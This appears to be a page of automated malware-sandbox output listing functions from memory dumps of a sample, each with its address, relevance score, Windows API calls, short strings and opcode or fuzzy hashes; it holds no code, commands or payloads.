Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5785fbb44d8c5494fb06ade68e1f70e7ca77db42504b090d698f70ab374054d8
Instruction ID: 9378b597c4ea6240bb3b0549311a9a8917b41db9bf2bde954b7852e838001506
Opcode Fuzzy Hash: 5785fbb44d8c5494fb06ade68e1f70e7ca77db42504b090d698f70ab374054d8
Instruction Fuzzy Hash: 6C41E074E00248CFEF18CFAAD9546DEBBB6AF89300F24912AC814BB255DB355945CF54

Function 37AF0970 Relevance: 6.1, APIs: 4, Instructions: 137
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37AF09FE
GetCurrentThread.KERNEL32 ref: 37AF0A3B
GetCurrentProcess.KERNEL32 ref: 37AF0A78
GetCurrentThreadId.KERNEL32 ref: 37AF0AD1

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 11634e800df28f3bf6c3ace2635e6e5147e992e09a3b3396fc58fb7d37782299
Instruction ID: 249159616e56b736aecaef2ccb38b6f19d60117fa91bed35532ef244de08864c
Opcode Fuzzy Hash: 11634e800df28f3bf6c3ace2635e6e5147e992e09a3b3396fc58fb7d37782299
Instruction Fuzzy Hash: 745166B0901249CFDB54CFAAC944BEEBBF0AB88300F20845AE459BB361D7759940CF65

Function 37AF0980 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 37AF09FE
GetCurrentThread.KERNEL32 ref: 37AF0A3B
GetCurrentProcess.KERNEL32 ref: 37AF0A78
GetCurrentThreadId.KERNEL32 ref: 37AF0AD1

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1b1ab3e416dea5c2ffd9c9774c94b046cfad61c8b23aab9402800d6b623c2b59
Instruction ID: d21d8c5a5a227d21247a762f7e8a2ec95a9e6485a8ace50ade346a1c0955f661
Opcode Fuzzy Hash: 1b1ab3e416dea5c2ffd9c9774c94b046cfad61c8b23aab9402800d6b623c2b59
Instruction Fuzzy Hash: 6C5146B0901209DFDB54DFAAC944BEEBBF1AF88310F208429E459B7351DB75A980CF65

Function 36AB7920 Relevance: 3.9, Strings: 3, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<Cz4, xrefs: 36AB7AEB
<Cz4, xrefs: 36AB79D4
<Cz4, xrefs: 36AB7B22

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: <Cz4$<Cz4$<Cz4
API String ID: 0-4031186689
Opcode ID: f62b548a677beff74f99018f95fa4120b0467761504d2fe9979d17ec22ef2908
Instruction ID: 1989a2bdf248bb0b3ad3624c114b77a45537a9ee4ef1a12a4354dac0cd4797f9
Opcode Fuzzy Hash: f62b548a677beff74f99018f95fa4120b0467761504d2fe9979d17ec22ef2908
Instruction Fuzzy Hash: 1251EE74D01218DFDB14DFA6D854AAEBBB2FF88305F208129D805BB390DB769A46DF40

Function 37AF01C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,0000000C,?,?,?), ref: 37AF0222

Strings

0, xrefs: 37AF020A

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: CreateWindow
String ID: 0
API String ID: 716092398-4108050209
Opcode ID: a497728dd86cdba2d2cc93f3b68f23c426b6c666ab932f9ded4a88863b4aefb9
Instruction ID: 8b2ae5b4770ab431de210544da8c26342bc330a8aee968e51c046661c33179b6
Opcode Fuzzy Hash: a497728dd86cdba2d2cc93f3b68f23c426b6c666ab932f9ded4a88863b4aefb9
Instruction Fuzzy Hash: AC21CE7580020CEFEF01DF94D884ADEBBB5BF48314F208159F914AB260C7769845DF60

Function 36AB7911 Relevance: 2.6, Strings: 2, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<Cz4, xrefs: 36AB7AEB
<Cz4, xrefs: 36AB7B22

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: <Cz4$<Cz4
API String ID: 0-1458155573
Opcode ID: ee8fd40122517831c4358a831812417fa96cb832c7964f5820c3ddbcc2865440
Instruction ID: 745e70a3dd100f4a418fc6477bf0da61293593e8779fee8e53c6c6927a26ddf8
Opcode Fuzzy Hash: ee8fd40122517831c4358a831812417fa96cb832c7964f5820c3ddbcc2865440
Instruction Fuzzy Hash: 0731F170C013189BEB44CFA6D4487DEBBB6BF49305F50842AD815BB350DBB59A4ADF90

Function 37AF1DC0 Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 37AF1E81

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 79bcf06d909accd5e7dd928bea3d1dbcbfc5b41f0afc34704798db249925154f
Instruction ID: cedfd4bacf5d47aca07da225995fe2a17a23aaace50727c1ec3121cd3942c464
Opcode Fuzzy Hash: 79bcf06d909accd5e7dd928bea3d1dbcbfc5b41f0afc34704798db249925154f
Instruction Fuzzy Hash: A74118B8900309DFDB14CF95C844BAABBF5FF88310F25C459E959AB321D775A841CBA1

Function 37AF0BC8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37AF0C4F

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 2c3c338542b5dbe717f256410b33292da627070cd18bd3e840108a8d9a395b69
Instruction ID: 076b48658e0b357e57cc342e9f0fde7edd8d64ecde60cc10f192fc8aa2265a92
Opcode Fuzzy Hash: 2c3c338542b5dbe717f256410b33292da627070cd18bd3e840108a8d9a395b69
Instruction Fuzzy Hash: D221F8B59002099FDB10CFAAD984ADEFBF4EB48320F14841AE958A7310D375A945CF61

Function 37AF0BC5 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 37AF0C4F

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 5e1bc89f7fe50f488c39de97735dbe9ef434fb5e85291f6f4948262a210a1d5b
Instruction ID: f8354a533af0aa2c27ebff9f5af8f4694e224e0c47028b604079ac90cd267c34
Opcode Fuzzy Hash: 5e1bc89f7fe50f488c39de97735dbe9ef434fb5e85291f6f4948262a210a1d5b
Instruction Fuzzy Hash: 3A21E4B5D002099FDB10CFA9D984AEEBBF4EB48320F14842AE958A7350D375A955CF61

Function 37AFE6F7 Relevance: 1.5, APIs: 1, Instructions: 49windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,37AFD92F), ref: 37AFE765

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: fb87a7588de2c0970cccbf33a1045b68af823c8ad7eaefa0ac28013e447ed67c
Instruction ID: bed55a0110d3050f4e5c79238809b887fd79d45ae1149d766f18a14eccb04066
Opcode Fuzzy Hash: fb87a7588de2c0970cccbf33a1045b68af823c8ad7eaefa0ac28013e447ed67c
Instruction Fuzzy Hash: 4C1126B5C083898FCB11CFAAD840B9ABFF4AF49310F14845AD468A7251C3796544CFA6

Function 37AFD3E8 Relevance: 1.5, APIs: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 37AFD445

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 2f0748168c092665606f7428b95214dfc689722c3e92f5d1a5e8738934066a3f
Instruction ID: dd1998b25c677297b915d656939efc374a27b7bf6d6d2b707add9790768b47ce
Opcode Fuzzy Hash: 2f0748168c092665606f7428b95214dfc689722c3e92f5d1a5e8738934066a3f
Instruction Fuzzy Hash: 5C1136B18003488FCB10CFAAC444BDEFBF4EB49324F208459D959A7600C375A545CFA5

Function 37AF2018 Relevance: 1.5, APIs: 1, Instructions: 47timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 37AF207D

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: c93ae655be5bc8079d29b06d614c479ae1a7fb44c88c88ea1ec3f855170ad23e
Instruction ID: c26bf8a776f0df7bf8ffc51723fca56fb5cc3b789e0d70faee8cc53b2e87edb8
Opcode Fuzzy Hash: c93ae655be5bc8079d29b06d614c479ae1a7fb44c88c88ea1ec3f855170ad23e
Instruction Fuzzy Hash: D71106B58007499FDB10CF99D944BDEFFF4EB48320F108419E968A7251C375A984CFA1

Function 37AFE700 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,37AFD92F), ref: 37AFE765

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 97fbe285163bdcedb7470ac9a5830aa0084ae8101814fc1b1cab05bb474d2a7e
Instruction ID: e331d9cbdf9b19deed7e80ceee600f165e09bdbcb1200d05e478783ec9bcbd7a
Opcode Fuzzy Hash: 97fbe285163bdcedb7470ac9a5830aa0084ae8101814fc1b1cab05bb474d2a7e
Instruction Fuzzy Hash: DE1125B5C046498FCB10CFAAD444BDEFBF0EF48320F10842AD8A8A7240C379A544CFA1

Function 37AFC60C Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,37AFD92F), ref: 37AFE765

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 79f50b6cb34c7d5392cc591002245556668d715ce4c5fd104f70613e79f3cb4d
Instruction ID: 8c1b5636f20cf29697ee3cdac5d8d8f6465b0b671e5d905f30e8a1d737814abf
Opcode Fuzzy Hash: 79f50b6cb34c7d5392cc591002245556668d715ce4c5fd104f70613e79f3cb4d
Instruction Fuzzy Hash: D411E0B5D047499FDB10CF9AD844B9EFBF4AB48324F10842AE968A7210D379A544CFA5

Function 37AFC560 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 37AFD445

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: dae498f4ccaa4ac0b3da4a24a5df9566d78ca0bf05afa8f25e32a0291dcdefd1
Instruction ID: 81098cc0bc940a667a6f49be69e8168459723d78617538398891b4ab0bfc1c66
Opcode Fuzzy Hash: dae498f4ccaa4ac0b3da4a24a5df9566d78ca0bf05afa8f25e32a0291dcdefd1
Instruction Fuzzy Hash: 0A1136B1800749CFDB20DF9AC444B9EBBF4EB48320F108459E958B7300C775A544CBA5

Function 37AF2020 Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,?,?,?), ref: 37AF207D

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 01a4eed81d2b84b3e57be75bc88f315483c6860637338025aa61864b7811157e
Instruction ID: 35f73d007d0d003e894607f134be04297cc304ef6983e707a12c41ff13d04d76
Opcode Fuzzy Hash: 01a4eed81d2b84b3e57be75bc88f315483c6860637338025aa61864b7811157e
Instruction Fuzzy Hash: 8D11D3B58003499FDB10CF9AD845BDEFBF8EB48320F10841AE969A7251C375A984CFA1

Function 37AFE712 Relevance: 1.5, APIs: 1, Instructions: 38windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,37AFD92F), ref: 37AFE765

Memory Dump Source

Source File: 00000003.00000002.2664120963.0000000037AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 37AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37af0000_m0CZ8H4jfl.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: d9f5d7d7ebee3130bb78da935d2070f74849208c04dc601face7261ad7ffb8da
Instruction ID: 7b7ceadb5cf8423cac6c6ddd4fffc9fca528991a0ff4e5ea5515dfcc9d0a02f3
Opcode Fuzzy Hash: d9f5d7d7ebee3130bb78da935d2070f74849208c04dc601face7261ad7ffb8da
Instruction Fuzzy Hash: 8301CEB5D04649CFDB10CF9AD440BDEFBF0AB48324F10856AD869A7710C379A545CFA5

Function 00150B29 Relevance: 1.5, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

\'|4, xrefs: 00150B7A

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: \'|4
API String ID: 0-1067711788
Opcode ID: 83f181d7d8bb0f00dff66a1baafc69ecc2a99f8c005705203b1c5906b2474ae1
Instruction ID: 9ec5ec954731f4a372fde75948a09c02d14e6c7bfda9bf3d55be60ac63a30f3c
Opcode Fuzzy Hash: 83f181d7d8bb0f00dff66a1baafc69ecc2a99f8c005705203b1c5906b2474ae1
Instruction Fuzzy Hash: 44A19674A10209CFDB04EFA4E994A9DBBB1FF49305B108629E415BB365DF74AD46CF80

Function 00150B30 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

\'|4, xrefs: 00150B7A

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: \'|4
API String ID: 0-1067711788
Opcode ID: 62c0ccd4c90f2a07d9a81f686e5c1cb4df80c0e4e4b38e7c4f8b88cd0f1ff5bb
Instruction ID: 2a96455c17aba0ef0ef16bb4c226c33ed4305a28f000002f93d0bed7f8dc35c0
Opcode Fuzzy Hash: 62c0ccd4c90f2a07d9a81f686e5c1cb4df80c0e4e4b38e7c4f8b88cd0f1ff5bb
Instruction Fuzzy Hash: 36A1A674A10209CFDB04EFA4E994A9DBBB1FF89301B108629E415BB365DF74AD46CF80

Function 36ABFAB0 Relevance: 1.4, Strings: 1, Instructions: 189COMMON

Download Yara Rule

Strings

gz4, xrefs: 36ABFAD1

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: gz4
API String ID: 0-2460203290
Opcode ID: da0b230a3a66d5595a4f74d5c965e4053aab49b71f4f494b9fefb8aabaa2383b
Instruction ID: 59942a381f1ed47bedecdccecb26aa606cf5f8f89af52aaa4550058150a7dac5
Opcode Fuzzy Hash: da0b230a3a66d5595a4f74d5c965e4053aab49b71f4f494b9fefb8aabaa2383b
Instruction Fuzzy Hash: 0A71F275E00259CFDF09DFA5C858AADBBB6FF88700F14812AE806AB350DB349942DF55

Function 36ABD548 Relevance: 1.4, Strings: 1, Instructions: 149COMMON

Download Yara Rule

Strings

drz4, xrefs: 36ABD56D

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: drz4
API String ID: 0-907110079
Opcode ID: f59ef87e27ecb4f8fc7245ec2b4c541b1a5283c6a601381546afd20eb2edefa0
Instruction ID: 2358f2fea1563364809db089a37987ef3b20bcc534f40e191d5c8e6cc8a75f24
Opcode Fuzzy Hash: f59ef87e27ecb4f8fc7245ec2b4c541b1a5283c6a601381546afd20eb2edefa0
Instruction Fuzzy Hash: C4516E70A042499FCB05EFA8D965AEEBBB2FF85300F1085A9D005BB361DB719D41CF95

Function 36ABFA68 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

gz4, xrefs: 36ABFAD1

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: gz4
API String ID: 0-2460203290
Opcode ID: 6f573ec54b3a897c908a07410b485354f0dcdf10b4e911986be8499214fb60d3
Instruction ID: 9035f70fb283db4a05e3739013c66b476439fd4d86f995aac34f24a70191ea23
Opcode Fuzzy Hash: 6f573ec54b3a897c908a07410b485354f0dcdf10b4e911986be8499214fb60d3
Instruction Fuzzy Hash: EA318E35E003548FEB099B76C8146AD7BF6EF89344F14857AD806EB391DF388842DB91

Function 36ABFAA1 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

gz4, xrefs: 36ABFAD1

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: gz4
API String ID: 0-2460203290
Opcode ID: 8d7e3aaf3393abaaaf0ad021a1bfb1480cd51a9a3ed053f586b03d63d9531a7a
Instruction ID: af226976b59cc7a410c66acc9a265479ace07c613bc953123c6ed39b014ae9b2
Opcode Fuzzy Hash: 8d7e3aaf3393abaaaf0ad021a1bfb1480cd51a9a3ed053f586b03d63d9531a7a
Instruction Fuzzy Hash: AB315A39A003588BDF19DBB6C4546AD7BF6EB88344F14842AC806AB351DB348842DF65

Function 36ABCF68 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

Tkz4, xrefs: 36ABCFE0

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: Tkz4
API String ID: 0-3586983649
Opcode ID: 68eeabc7c4095db7eeb3fc78c79f0950dd43c080af8112578e5a9b31eec06964
Instruction ID: e0ba53b93a8dd7c8f6b6f64327ec43d03941ad27f2548e711136efd2225ed77e
Opcode Fuzzy Hash: 68eeabc7c4095db7eeb3fc78c79f0950dd43c080af8112578e5a9b31eec06964
Instruction Fuzzy Hash: 4231A474A003158BEF28DB76C9906EEBBFAAF89740F10452DD857AB640DF35D805CBA1

Function 36ABCF59 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

Tkz4, xrefs: 36ABCFE0

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: Tkz4
API String ID: 0-3586983649
Opcode ID: 93b23e0fda2e18e65600995a84427846c11a405c6f44eaec2a073d730a3bd58f
Instruction ID: 391850dbdb8962cb4e7b150a161e3321afa472a7cdf38e0e3fa9424b19e8bd47
Opcode Fuzzy Hash: 93b23e0fda2e18e65600995a84427846c11a405c6f44eaec2a073d730a3bd58f
Instruction Fuzzy Hash: C521F675E043448BEB28DB76C590AEEBBF69F88300F14856DD853A7690DA30A805CB60

Function 36ABF058 Relevance: 1.3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

Strings

jz4U, xrefs: 36ABF09C

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: jz4U
API String ID: 0-2358408049
Opcode ID: 42763268aeca71feb9f71f0332db101bd7e362fd7963a16348ae6e5701a7077a
Instruction ID: bf55d607c5798baab132c0c6f1b40f96dc5b0fd33d822d2ddab9ccd325bd7d47
Opcode Fuzzy Hash: 42763268aeca71feb9f71f0332db101bd7e362fd7963a16348ae6e5701a7077a
Instruction Fuzzy Hash: 1E21CF706083008FEB11DFAAD8506567BF9AF8624870985ABD945CF332EB20DC4AD792

Function 36ABF090 Relevance: 1.3, Strings: 1, Instructions: 50COMMON

Download Yara Rule

Strings

jz4U, xrefs: 36ABF09C

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: jz4U
API String ID: 0-2358408049
Opcode ID: 92956979376cb1a0f0e0ba776820fa3a0d5a0dc5d7c40f7904a6e4d0b4c01eab
Instruction ID: 7536c2b00b07f044496911252855f099698e7cde693290ea5225f62328364b6a
Opcode Fuzzy Hash: 92956979376cb1a0f0e0ba776820fa3a0d5a0dc5d7c40f7904a6e4d0b4c01eab
Instruction Fuzzy Hash: 0B11A970700A008FD724DF6AD44591AB7F6EF8964471986AEE40ACB332EB30ED469B90

Function 36AB95E8 Relevance: 1.3, Strings: 1, Instructions: 39COMMON

Download Yara Rule

Strings

jz4, xrefs: 36AB95E8

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID: jz4
API String ID: 0-2591763017
Opcode ID: 1f3ecd58ddc79c11481cdf0e31f098002755de35e52f7ea951510f543b879d2f
Instruction ID: 97d3332ebf7c988f1eb4129bf972783e4e9ee972d78b25369de4b4370eb3e289
Opcode Fuzzy Hash: 1f3ecd58ddc79c11481cdf0e31f098002755de35e52f7ea951510f543b879d2f
Instruction Fuzzy Hash: 28F0F431E086149FDF149BA4C9407AE7FB9FB89394F10452AD8099B640DB70A445CBD2

Function 00157458 Relevance: .7, Instructions: 704COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: decbbbeb6b20422a8978ab78f839c33783e7db90f0b523cc88d413d5c5229da1
Instruction ID: 8d3c885239b7c84ed47c17ae144f144385460172928f64f08c0f3877dfe89a8c
Opcode Fuzzy Hash: decbbbeb6b20422a8978ab78f839c33783e7db90f0b523cc88d413d5c5229da1
Instruction Fuzzy Hash: 06520134A00218DFEB24DBA4D861BAEBB72EF88301F1080ADD51A6B395CF365E55DF51

Function 001519C4 Relevance: .7, Instructions: 700COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afe5ae74a8c21b36f6f84a0dd3658db038d7f9e6f8177ef1b5f477990486e832
Instruction ID: 6d40071b9629e6cbdb6f5e35920ead1fa01d2f154cc024734bc5a0d249725151
Opcode Fuzzy Hash: afe5ae74a8c21b36f6f84a0dd3658db038d7f9e6f8177ef1b5f477990486e832
Instruction Fuzzy Hash: 0342D9A7E1D7E18FC7124B705CB82597F716B22106BEE458EC8C297283EFA58489C353

Function 001568E5 Relevance: .3, Instructions: 335COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2634794340.0000000000150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00150000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_150000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf00568ada2713888c3c24708a59f1ef844567d7c9a053005e14e1896161725c
Instruction ID: 1d6b305767f3f3774f7bd4289000700a3968ba914a13baa0e49a012e94260974
Opcode Fuzzy Hash: bf00568ada2713888c3c24708a59f1ef844567d7c9a053005e14e1896161725c
Instruction Fuzzy Hash: A6D15A30A00208DFCB25CF65C594AAEBBF1FF44316F558559E869AF261DB30ED45CB90

Function 36ABC173 Relevance: .3, Instructions: 319COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2662847630.0000000036AB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 36AB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_36ab0000_m0CZ8H4jfl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10a38efb1dde90e33f001a21f650ce62082811faf0c3e8839086e573bfee57f5
Instruction ID: f200805aa0d401b838881ea1fc42230971ad97e0708e06e73e695ef5f7abdd3f
Opcode Fuzzy Hash: 10a38efb1dde90e33f001a21f650ce62082811faf0c3e8839086e573bfee57f5
Instruction Fuzzy Hash: 8FE1AF34A00218DFDB25DF61D994BADB7B2EF89301F1085AAD80A77394CB359E82DF54

Function 001554A8 Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

